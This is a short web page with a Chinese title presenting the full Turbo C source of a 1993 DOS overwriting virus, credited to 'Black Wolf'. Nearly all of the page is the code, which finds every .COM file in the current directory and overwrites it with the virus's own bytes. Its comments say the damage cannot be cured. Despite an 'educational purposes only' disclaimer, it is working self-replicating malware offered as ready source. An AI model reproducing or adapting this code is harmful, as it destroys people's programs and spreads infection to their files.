c语言病毒文件

 运行环境tubor C

/* This is a simple overwriting virus programmed in Turbo C */
/*  It will infect all .COM files in the current directory  */
/*    Infections destroy the programs and cannot be cured   */
/*   It was presented in Virology 101 (c) 1993 Black Wolf   */
/*     FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE!       */

#include <stdio.h>
#include <dos.h>
#include <dir.h>

FILE *Virus,*Host;
int x,y,done;
char buff[256];
struct ffblk ffblk;

main()
{
    done = findfirst("*.COM",&ffblk,0);   /* Find a .COM file */
    while (!done)               /* Loop for all COM's in DIR*/
    {
        printf("Infecting  %s\n", ffblk.ff_name);    /* Inform user */
        Virus=fopen(_argv[0],"rb");          /* Open infected file  */
        Host=fopen(ffblk.ff_name,"rb+");     /* Open new host file  */
        
        x=9504;                               /* Virus size - must   */
        /* be correct for the  */
        /* compiler it is made */
        /* on, otherwise the   */
        /* entire virus may not*/
        /* be copied!!         */
        while (x>256)                         /* OVERWRITE new Host  */
        {                                 /* Read/Write 256 byte */
            fread(buff,256,1,Virus);          /* chunks until bytes  */
            fwrite(buff,256,1,Host);          /* left < 256          */
            x-=256;
        }
        fread(buff,x,1,Virus);                /* Finish off copy     */
        fwrite(buff,x,1,Host);
        fcloseall();                          /* Close both files and*/
        done = findnext(&ffblk);              /* go for another one. */
    }
    /* Activation would go */
    /* here                */
    return (0);                             /* Terminate           */
}